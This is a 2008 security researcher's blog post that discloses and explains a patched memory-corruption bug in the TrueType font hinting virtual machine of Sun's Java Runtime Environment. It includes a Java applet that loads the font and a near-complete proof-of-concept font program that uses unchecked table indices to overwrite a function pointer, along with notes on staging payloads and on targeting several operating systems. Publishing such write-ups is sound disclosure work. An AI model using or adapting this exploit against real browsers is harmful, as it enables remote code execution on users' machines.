Thursday, 24 January 2008

A Cross-browser, Cross-platform, Cross-architecture Bug in the JRE











pwned.



In October 2007 I released an advisory in Sun's Java Runtime Environment versions 1.5.0_09 and below (NGS link here, SunSolve here). The bug in question allowed an attacker to craft a malicious TrueType font that could execute arbitrary native code when processed by a Java applet, thus compromising the browser. I gave partial details in the original advisory but have decided to discuss it in a bit more detail here.



What makes TrueType fonts more interesting than a run-of-the-mill file format is that they contain code. Surprising as it may seem, TrueType fonts can contain instructions for a virtual machine. Wikipedia has a good summary:


TrueType systems include a virtual machine that executes programs inside the font, processing the "hints" of the glyphs. These distort the control points which define the outline, with the intention that the rasterizer produces fewer undesirable features on the glyph. Each glyph's hinting program takes account of the size (in pixels) that the glyph is being displayed at, as well as other less important factors of the display environment.


Although incapable of receiving input and producing output as normally understood in programming, the TrueType hinting language does offer the other prerequisites of programming languages: conditional branching (IF statements), looping an arbitrary number of times (FOR- and WHILE-type statements), variables (although these are simply numbered slots in an area of memory reserved by the font), and encapsulation of code into functions. Special instructions called "delta hints" are the lowest level control, moving a control point at just one pixel size.


So to the flaw in the JRE. Firstly I should state that the TTF parsing code and the virtual machine were written in C (not Java) and exposed via JNI. This means we are into the realms of common implementation flaws - buffer overflows, integer overflows and the like.


The VM implements two instructions for writing values to the Control Value Table (CVT). The CVT holds global variables that can be used by multiple glyphs - its basically a global data store. One of instructions for writing to the CVT did not verify that the supplied index lay within the bounds of the CVT. This allows us to write a scaled value relative to the base of the CVT. Through experimentation (though this is probably documented somewhere) I determined that the scaling factor is based on the requested size of the font - setting this to 32 results in a factor of 1.


Since the CVT is dynamically allocated we don't quite have an arbitrary write to an arbitrary location yet. We must first determine where the CVT is located. Fortunately the instruction to read from the CVT also doesn't valid its index so we can read memory relative to the CVT. Again from experimentation I determined that at 0x38 DWORDs prior to the CVT (i.e. a negative offset) there is a pointer that points to the end of CVT. Given that we know the size of the CVT we can determine the base of the CVT and therefore write an arbitrary value to an arbitrary location.


The nice thing about this bug is that we can repeatedly call the write primitive above which means there are countless ways to exploit it. I chose to overwrite a function pointer for one of the virtual instructions, then call this instruction. The value I overwrite the function pointer with (i.e. the address of my payload) is the address of the CVT itself. What about DEP? Java and DEP don't get along so the chances are, if the user has used the Java plugin before, DEP will be disabled. This means we can execute our payload straight from the heap.


Here's what you'll need to write a PoC:


  1. First, the easy bit, a Java applet to load the font. For convenience sake we can package the font with the applet inside a JAR file. The alternative is that we load the font from a web server (subject to the same origin policy, of course) or that we put it inside our class file as an array of bytes, accessed via a ByteArrayInputStream. To trigger loading of the bug and execution of our TTF instructions we simple CreateFont, set it to the appropriate size and render some text:

    InputStream is = this.getClass().getResourceAsStream("exploit_font.ttf");
    Font font = Font.createFont(Font.TRUETYPE_FONT, is);
    font = font.deriveFont(32.0f);
    Graphics g = this.getGraphics();
    g.setFont(font);
    g.drawString("This will trigger the bug", 20, 20);


  2. Next on to the font itself. Documentation on the TrueType instruction set may be found here. To construct the font I used the TTIComp TrueType instruction compiler. TTIComp takes as input a TTI file (containing our functions) and a TTF file. It produces a new TTF containing our compiled functions. TTIComp comes with some examples and a great tutorial for getting started.


  3. And finally the TTI itself. It looks something like this:

    #input "original_font.ttf"
    #output "exploit_font.ttf"

    #cvt cvt0: 0

    // This is our definition of the preparation
    // function
    // This will get called repeatedly when rendering
    // text in this font

    void prep()
    {
    // Function 0x89 is getInformation
    int iFn = 0x89;

    // Address of function pointer table for
    // JRE 1.5.0_07
    int iFnPtrTable = 0x6D27BB00;

    // End of CVT
    int iEndCVT = int(getCVT(uint(-0x38)));

    // Location we need to overwrite
    int iLocation = iFnPtrTable + int((fixed(iFn) * 4.0));

    // Fill CVT with our payload (some int 3's)
    setCVT(uint(0), 0xCCCCCCCC);

    // Perform overwrite
    // We substract 4 from iEndCVT to get the address
    // the start of the CVT (i.e. the address of our
    // payload)
    setCVT(uint(fixed(fixed((iLocation - iEndCVT)) / 4.0)), iEndCVT - 0x4);

    // Trigger payload by calling getInformation
    getInformation(uint(0));
    }


You'll note that I use a hardcoded address for the table of instruction pointers. I'm lazy, sue me. I suspect the base address of fontmanager.dll, the DLL containing the font parsing code, doesn't move across versions of the JRE so you could scan for the table fairly easily.


And our payload of int3's isn't very interesting. Ideally our stager payload should allocate some memory, copy our second stage payload into it and kick off a new thread from this address. This ensures that the Java plugin/font manager code can keep running as normal (we don't want to be executing code from the CVT when the font's resources are freed).


Finally, what makes bugs in the Java plugin so dangerous is that most of them can be exploited cross-browser, cross-platform, cross-architecture. To write an exploit capable of this, create TTFs as above but with payloads specific to a particular scenario (OS) and add some logic to determine which font to render. An unsigned applet can access properties such as os.name and os.architecture to assist in this.


That wraps up discussion of this bug. I'll be posting more on specific Java plugin issues in the coming months and I have a post in the pipeline that debunks the most common Java security misconceptions so keep an eye out for that.




Cheers

John

No comments: